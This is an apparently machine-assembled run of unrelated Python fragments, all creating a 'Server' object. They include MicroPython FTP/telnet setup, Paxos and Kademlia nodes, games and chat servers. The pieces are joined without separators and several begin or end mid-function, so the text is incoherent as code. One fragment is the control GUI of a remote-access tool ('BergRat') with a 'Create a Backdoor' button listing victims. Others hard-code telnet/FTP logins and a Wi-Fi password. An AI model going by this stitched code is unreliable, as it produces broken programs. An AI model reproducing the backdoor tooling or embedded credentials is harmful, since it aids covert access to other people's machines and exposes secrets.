def setup_ap():
WLAN().init(mode=WLAN.AP,
ssid=coda_common.CODA_CONFIG["wifi_manager_ssid"],
auth=(
WLAN.WPA2,
coda_common.CODA_CONFIG["wifi_manager_pwd"],
),
channel=7,
antenna=WLAN.INT_ANT)
Server().deinit()
Server().init(login=(coda_common.CODA_CONFIG["server_userid"],
coda_common.CODA_CONFIG["server_pwd"]),
timeout=60)
def __init__(self, uid, addr, port):
threading.Thread.__init__(self)
self.address = addr
self.port = port
self.server = Server(self, port, address=addr)
self.queue = queue.Queue()
self.abort = False
self.uid = uid
self.next_post = None
# local log of the Node
self.log = []
self.proposer = Proposer(self, uid, addr, port + 1)
self.acceptor = Acceptor(self, uid, addr, port + 2)
self.learner = Learner(self, uid, addr, port + 3)
self.stopped_proposal_id = None
self.lock = threading.Lock()
self.last_decided_proposer_id = None
self.is_last_decided = False
self.in_propose_time_frame = True
self.daemon = Node.Daemon(self)
def test_play_match(self):
server = Server()
server.start(False)
client1 = Client('localhost', 8081)
client2 = Client('localhost', 8081)
client1_moves = [(1, 1), (2, 2), (3, 3)]
client2_moves = [(3, 1), (3, 2)]
client1.on_move_required = lambda ct: (client1_moves
if ct else client2_moves).pop(0)
client1.on_game_over = lambda winner: self.assertTrue(winner)
client2.on_move_required = lambda ct: (client1_moves
if ct else client2_moves).pop(0)
client2.on_game_over = lambda winner: self.assertTrue(winner)
client1.start(False)
client2.start(False)
client1.wait()
client2.wait()
server.stop()
def destroy(self):
self.socket.close()
if self.is_telnet_running is True:
from network import Server
Server().init(
login=telnet_login
) # telnet_login is appended to the code at upload time
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def main():
"""Entry point for our simple vlc player
"""
app = QtWidgets.QApplication(sys.argv)
player = Player()
_ = Server("localhost", 10000, player.data_queue)
player.show()
player.resize(640, 480)
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.quorum_size = 3
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.proposer_uid = uid
self.quorum_size = 3
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
self.next_proposal_number = 1
self.promises_rcvd = None
def change_access(self, user=None, passwrd=None):
"""change_access - change password for telnet and ftp access"""
if (user is None) or (passwrd is None):
print('WifiManager:: username and password must be specified')
return
server = Server() # from network
# disable the server
server.deinit()
# enable the server again with new credentials
# for ftp and telnet, not USB
server.init(login=(user, passwrd), timeout=600)
print_debug('WifiManager::password {} is changed...'.format(user))
def __init__(self, master, address, port, *args, **kwargs):
# Pass the arguments to the superclass
tk.Frame.__init__(self, master, *args, **kwargs)
self.master = master
# Some GUI Configurations
self.master.resizable(False, False)
self.master.title("BergRat")
self.master.geometry("650x650")
# Create a TreeView and add som columns
self.tree = ttk.Treeview(self)
self.tree["columns"] = ("one", "two", "three", "four")
self.tree.heading("#0", text="ID", anchor="w")
self.tree.column("#0", stretch=tk.YES, width=100, anchor="w")
self.tree.column("one", width=100)
self.tree.heading("one", text="IP")
self.tree.column("two", width=100)
self.tree.heading("two", text="User")
self.tree.column("three", width=100)
self.tree.heading("three", text="Online")
self.tree.column("four", width=100)
self.tree.heading("four", text="Install Date")
# Create Ba button to create a Backdoor
self.button = tk.Button(self,
text="Create a Backdoor",
command=self.create_backdoor)
# Pack all the objects
self.tree.pack(fill="both", expand=True)
self.button.pack()
# Bind the double-click in a element from TreeView
self.tree.bind("<Double-1>", lambda event: self.double_click_tree())
# After all widgets being packed, the master is show
self.master.deiconify()
# Start the network class
self.Network = Server(address, port)
# Start a Get-Sessions Thread
t_get_sessions = Thread(target=self.get_sessions)
t_get_sessions.daemon = True
t_get_sessions.start()
def __init__(self):
from network import Server
import socket
server = Server()
self.is_telnet_running = server.isrunning()
server.deinit()
self.poll = select.poll()
listening = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening.bind(('', 23))
listening.listen(1)
self.socket = listening.accept()[0]
listening.close()
self.poll.register(self.socket, select.POLLIN)
self.socket.setblocking(False)
self.write = self.socket.write
def change_access(self, user=None, passwrd=None):
"""change_access - change password for telnet and ftp access"""
if (user == None) or (passwrd == None):
print('WifiManager:: username and password must be specified')
return
server = Server() # from network
# disable the server
server.deinit()
# enable the server again with new credentials
# for example: remote access, ftp and telnet, not USB
server.init(login=(user, passwrd), timeout=600)
if USE_DEBUG:
print('WifiManager::password is changed...')
def __init__(self, controller=None):
Service.__init__(self, 'dispatcher')
self.handlers[Message.TYPE_LOGIN] = self.handle_login
self.handlers[Message.TYPE_IMAGE] = self.handle_image
self.handlers[Message.TYPE_RESULT] = self.handle_result
self.server = Server(self, cfg.SERVER_PORT)
self.protocols = {}
self.nodes = {}
if cfg.DASHBOARD:
self.dashboard = Dashboard()
self.dashboard.start()
else:
self.dashboard = None
measure_period = float(cfg.CONTROLLER_LOOP_TIME)/cfg.MEASURES_PER_LOOP
self.monitor = Monitor(self.process_measurements, measure_period)
self.monitor.register_item(self.ITEM_FPS, Monitor.ITEM_RATE)
self.monitor.register_item(self.ITEM_MAKESPAN, Monitor.ITEM_AVG)
self.monitor.register_item(self.ITEM_THROUGHPUT, Monitor.ITEM_RATE)
self.controller = controller
self.controller.dashboard = self.dashboard
self.controller.dispatcher = self
if self.dashboard:
self.dashboard.controller = controller
self.imagebuf = Queue.Queue() # Buffer of encoded images
# (time stamp, image data)
# Initialize probe to blank image
self.probe_image = self.generate_probe_image()
self.tokens = Queue.Queue()
self.job_id = 0
self.job_image_cache = {}
self.sub_loop = 0
return
def main(stdscr):
finished = False
gui = CursesInterface(stdscr)
inpt = Input(stdscr, 0)
menu = MenuScreen()
game = Game()
gui.initialize()
inpt.initialize()
while not menu.finished:
events = inpt.poll_events()
gui.clear()
menu.update(events)
render_menu(gui, menu)
gui.refresh()
time.sleep(0.1)
if menu.current_idx == 0:
gamewrapper = LocalVsGameWrapper(inpt, game)
elif menu.current_idx == 1:
gamewrapper = LocalAiGameWrapper(inpt, game)
elif menu.current_idx == 2:
gamewrapper = NetworkedGameWrapper(inpt, game, Server(), 1, 2)
else:
gamewrapper = NetworkedGameWrapper(inpt, game,
Client(menu.get_server_ip_str()), 2,
1)
gamewrapper.initialize()
while not game.finished:
gamewrapper.update()
gui.clear()
render_game(gui, game)
time.sleep(0.05)
gamewrapper.cleanup()
while True:
events = inpt.poll_events()
if events:
return
time.sleep(0.1)
def run(self):
server = Server(self.port)
server.start()
while not self.stopped:
requests = server.get_requests()
for r in requests:
nums = r.split(',')
self.connected = True
if len(nums) == 2:
self.connected = True
self.depth_queue.append(int(nums[0]))
self.angle = int(nums[1])
response = "{},{},{},{},{}\n".format(
self.convert(-self.m_front_left),
self.convert(-self.m_front_right),
self.convert(-self.m_back_left),
self.convert(-self.m_back_right),
self.convert(self.m_tail))
response = response.encode('utf-8')
server.offer_data(r, response)
break
server.stop()
def run(ip, port):
"""
handler = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
"""
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server(storage=storage.AwesomeStorage())
loop.run_until_complete(server.listen(int(port), ip))
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.stop()
loop.close()
if len(sys.argv) != 4:
print("Usage: python get.py <bootstrap node> <bootstrap port> <key>")
sys.exit(1)
# set up logging to file
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
datefmt='%m-%d %H:%M',
filemode='w')
# define a Handler which writes INFO messages or higher to the sys.stderr
console = logging.StreamHandler()
console.setLevel(logging.INFO)
# add the handler to the root logger
logging.getLogger(__name__).addHandler(console)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
loop.run_until_complete(server.listen(8469))
bootstrap_node = (sys.argv[1], int(sys.argv[2]))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
result = loop.run_until_complete(server.get(sys.argv[3]))
server.stop()
loop.close()
print("Get result:", pickle.loads(result))
return True
def end_network():
if not lte == None:
end_LTE()
if not wlan == None:
end_WLAN()
try:
ensure_network()
set_RTC()
if (not wlan == None):
debugprint('Starting ftp server')
server = Server(login=(config.ftpuser, config.ftppassword), timeout=60)
last_measurement = -MEASURE_INTERVAL - 1
while (True):
led_Breathe()
now = time.time()
if (last_measurement + MEASURE_INTERVAL < now):
coord = l76.position()
pitch = acc.pitch()
roll = acc.roll()
last_measurement = now
# if not coord[0] == None:
ensure_network()
now = machine.RTC().now()
isodatetime = "{}-{:02d}-{:02d}T{:02d}:{:02d}:{:02d}+00:00".format(
now[0], now[1], now[2], now[3], now[4], now[5], now[6])
volt = py.read_battery_voltage()
import config
import time
from network import WLAN
from network import Server
# Conexion a la WiFi
wlan = WLAN(mode=WLAN.STA) # Modo adaptador wifi
wlan.connect(
config.wifi_ssid,
auth=(None,
config.wifi_pass)) # Orden y parámetros de conexión a la red wifi
if config.REPL:
while not wlan.isconnected():
print('No conectado a WiFi')
time.sleep(5)
if wlan.isconnected():
print('Conectado a WiFi: ' + config.wifi_ssid)
# Servicio telnet
server = Server(login=(config.user, config.password), timeout=60)
server.timeout(300) # change the timeout
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.WEBCHAT_SERVER_PORT)
self.dispatcher = WebchatDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
import sys
import logging
import asyncio
import storage
from network import Server
# Usage: <python3> <node_ip> <node_port> <bootstrap_node_ip> <bootstrap_node_port>
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server(storage=storage.AwesomeStorage())
loop.run_until_complete(server.listen(int(sys.argv[2]), sys.argv[1]))
bootstrap_node = (sys.argv[3], int(sys.argv[4]))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.stop()
loop.close()
node_id = 0
for server in servers:
if str(account) == str(server.node.pub_key.to_string()):
node_id = server.node.node_id
print("Node {} has a balance of {} Coins".format(
node_id, accounts[account]))
print("=====================================================")
if __name__ == '__main__':
listOfConfigs = ['node1.txt', 'node2.txt', 'node3.txt', 'node4.txt', \
'node5.txt', 'node6.txt', 'node7.txt', 'node8.txt', 'node9.txt', 'node10.txt']
servers = []
for conf in listOfConfigs:
node = Node(conf)
server = Server(node)
servers.append(server)
server.start()
for i in range(2):
time.sleep(5)
randomIndex = random.randint(0, len(servers) - 1)
createRewardTransaction(servers[randomIndex].node)
randomIndex = random.randint(0, len(servers) - 1)
servers[randomIndex].node.sendBlock()
time.sleep(12)
print(
"Blockchain Summaries\n====================================================="
)
for server in servers:
node = server.node
def setup():
global wdt, sd, logger, AP, pin_relay_AP, pin_relay_LED, pin_switch_setupMode, pin_switch_RPi, wdt
global server, server_timer, adc_c, taskTime_daily, taskTime_hourly
# Logger
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
logger.info('===========================')
logger.info(' Starting CTLR ')
logger.info('===========================')
# HW Setup
wdt = WDT(timeout=20 * 60 * 1000)
wdt.feed()
sd = SD()
os.mount(sd, '/sd')
adc = machine.ADC()
# adc_c = adc.channel(pin='P19', attn=ADC.ATTN_11DB)
adc_c = adc.channel(pin='P18', attn=ADC.ATTN_11DB)
# Output Vref of P22
# adc.vref_to_pin('P22')
# while True:
# time.sleep(1)
# Set calibration - see note above
adc.vref(1100)
# # TEMPERATURE/HUMIDITY SENSOR
# py = Pysense()
# si7006a20 = SI7006A20(py)
pin_relay_AP = Pin('P20', mode=Pin.OUT, pull=Pin.PULL_DOWN)
pin_relay_LED = Pin('P19', mode=Pin.OUT, pull=Pin.PULL_DOWN)
pin_switch_setupMode = Pin('P9', mode=Pin.IN, pull=Pin.PULL_DOWN)
pin_switch_RPi = Pin('P7', mode=Pin.OUT, pull=Pin.PULL_DOWN)
# Network Setup
# CHANGE AP IN pybytes_config.json!
pbconfig = pybytes.get_config()
AP = pbconfig['wifi']['ssid']
# WIFI Connection
if AP in ['GCAM1_AP', 'GCAM2_AP', 'GCAM2_AP']:
pin_relay_AP.value(1)
wlan = WLAN(mode=WLAN.STA)
while not wlan.isconnected():
nets = wlan.scan()
logger.info(nets)
if AP in [net.ssid for net in nets]:
pybytes.connect_wifi()
time.sleep(5)
# for net in nets:
# if net.ssid == 'RUT230_7714':
# pybytes.connect_wifi()
# # No Internet Case
# wlan.ifconfig(config=('192.168.1.100', '255.255.255.0', '192.168.1.1', '8.8.8.8'))
# wlan.connect('RUT230_7714', auth=(WLAN.WPA2, 'Ei09UrDg'), timeout=5000)
# while not wlan.isconnected():
# machine.idle() # save power while waiting
socket_svr.switch_setupMode = pin_switch_setupMode.value()
socket_svr.setup()
# _thread.stack_size(16384)
# UPDATE TIME BY GPS
logger.info('GPS time fixing start...')
shmGPSclock.update_RTC_from_GPS()
socket_svr.state = 1
logger.info('GPS time fixing done...')
server = Server()
server.timeout(5)
# Creating data/date folder of today
dirToday = '/sd/data/{}'.format(date_string(time.time()))
if mkdir(dirToday):
logger.info('{} created'.format(dirToday))
gc.enable()
# CREATING FOLDER FOR FTP
mkdir('/sd/data/{}'.format(date_string(time.time())))
# PERIODIC TASKS
taskTime_daily = getNextGridTime(time.time(), 3600 * 24)
taskTime_hourly = getNextGridTime(time.time(), 3600)
help='Port to listen to'
)
parser.add_argument(
'-v',
'--verbose',
action='store_true',
help='Be verbose'
)
args = parser.parse_args()
logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)
server = Server(
args.field_size,
args.row_length,
args.host,
args.port
)
def signal_handler(sig, frame):
server.stop()
signal.signal(signal.SIGINT, signal_handler)
server.start()
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.EXTERNAL_SERVER_PORT)
self.dispatcher = ExternalDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def start_server(self):
self._server = Server(self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.server, #info_dict
self._config_manager.content_db)
self._server.start()
from network import WLAN
from network import Server
from machine import WDT
import pycom
import micropython
import time
micropython.alloc_emergency_exception_buf(100)
pycom.heartbeat(False)
pycom.rgbled(0xff0000)
print('=== Exo Sense Py - LoRaWAN - v1.4.0 ===')
wdt = WDT(timeout=30000)
wlan = WLAN()
wlan.deinit()
ftp = Server()
ftp.deinit()
time.sleep(1)
def restart_server(alarm):
server.deinit()
server = Server(login=('micro', 'python'), timeout=60)
logger.info('Server restarted.')
return
pygame.init()
# Set the width and height of the screen [width, height]
size = (WIDTH, HEIGHT)
screen = pygame.display.set_mode(size)
pygame.display.set_caption("Configuration Space Visualization Tool")
# Loop until the user clicks the close button.
done = False
# Used to manage how fast the screen updates
clock = pygame.time.Clock()
data_queue = queue.Queue()
_ = Server("localhost", 10000, data_queue)
ALPHA = 0
THETA = 0
RADIUS = 30
ORIGIN_X = WIDTH // 2
ORIGIN_Y = HEIGHT // 2
robot = Robot((ORIGIN_X, ORIGIN_Y), RADIUS)
# Start the scatterplot process
subprocess.Popen(["python", "plot.py"])
# Main game loop
while not done:
# Main event loop
def destroy(self):
self.socket.close()
if self.is_telnet_running is True:
from network import Server
Server().init(login=telnet_login)
